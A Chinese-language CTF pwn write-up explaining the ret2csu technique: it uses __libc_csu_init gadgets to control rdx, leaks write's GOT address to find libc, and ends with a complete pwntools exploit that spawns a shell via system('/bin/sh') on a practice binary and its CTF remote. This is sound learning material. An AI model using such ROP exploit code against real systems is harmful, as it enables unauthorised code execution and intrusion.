上一篇的文章说的ret2libc的用法,在当时,我们没法控制rdx,所以用的是输出byebye延续下来的 rdx=6,现在把byebye改成bye,这样延续下来的rdx就是3了,没法泄露全部的got表里的真实地址了,此时我们可以尝试用ret2csu的方式控制rdx,下面是新的题
只更改了byebye,我们用ida看一眼
这里我们找到这个叫__libc_csu_init的函数,仔细看这一段
上面先把r14赋值给了rdx,r13赋值给了rsi,r12赋值给了edi,也就是说我们可以通过控制r12,r13,r14来控制函数的前三个参数,之后call了r15加rbx*8,那我们也可以通过控制r15和rbx控制call的函数,如何控制r12这些寄存器呢?
我们下面几行就是pop rbx等等一系列寄存器,我们可以先跳转到40122A这个地方,然后布置栈,用这一大堆pop设置寄存器的值,最后我们放一个401210的地址,让rip到上面执行mov那个指令,设置函数的参数和call函数。
call之后,我们看到rbx加了1,然后对比了rbp和rbx,如果不是0就跳转到401210,401210是刚刚mov的地方,我们不希望回去,而是希望继续执行,到下面的ret方便我们控制rip,所以我们还需要保证rbx+1和rbp相等。
所以我们设计rbx为0,rbp为1,r12(edi,第一个参数)为1,r13(rsi,第二个参数)为我们需要泄露的地址leak_func,r14(rdx,第三个参数)为6,r15(call的函数)为got表里的write函数地址。
这样设置可以了,并且rbx+1和rbp相等,会继续执行,下面还有6个pop和1个add才到ret,所以后面我们还要放七组字符用来填充,这时候寄存器的值已经无所谓了,最后的ret那里放dofunc函数,回到主程序,方便下一次payload就好
我们这里就沿用上次ret2libc的脚本修改,这是上次的脚本
这是改之后的脚本
payload1就是按刚刚的思路写的,call的是leak_func,也就是got表里的write函数地址,接收的byebye记得改成bye,payload2那里加了一个ret用来16字节对齐
最后附上exp
from pwn import * s = lambda data : io.send(data) sa = lambda delim, data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim, data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) context.log_level = 'debug' context.binary = binary = './question_5_plus' context.terminal = ['tmux', 'splitw', '-h'] gdbscript = ''' ''' def start(argv=[], *a, **kw): if args.GDB: return gdb.debug( [binary] + argv, gdbscript=gdbscript ) elif args.REMOTE: return remote('node5.anna.nssctf.cn',23291) else: return process([binary] + argv, *a, **kw) elf = ELF(binary) libc = ELF('./libc.so.6') rop = ROP(elf) io = start() ru('input:') write=elf.symbols['write'] return_addr=elf.symbols['dofunc'] padding=b'a'*0x10 pop_rdi=0x401233 pop_rsi_r15=0x401231 leak_func=0x404018 ret=0x401234 payload1=padding+p64(0x40122A)+p64(0)+p64(1)+p64(1)+p64(leak_func)+p64(6)+p64(leak_func)+p64(0x401210) payload1+=b'aaaabbbb'*7 payload1+=p64(return_addr) sl(payload1) ru('bye') write_addr=uu64(r(6)) print(hex(write_addr)) write_offset = libc.sym['write'] libc_addr=write_addr-write_offset print(hex(libc_addr)) system=libc.sym['system']+libc_addr binsh=next(libc.search(b'/bin/sh'))+libc_addr payload2=padding+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) sl(payload2) itr()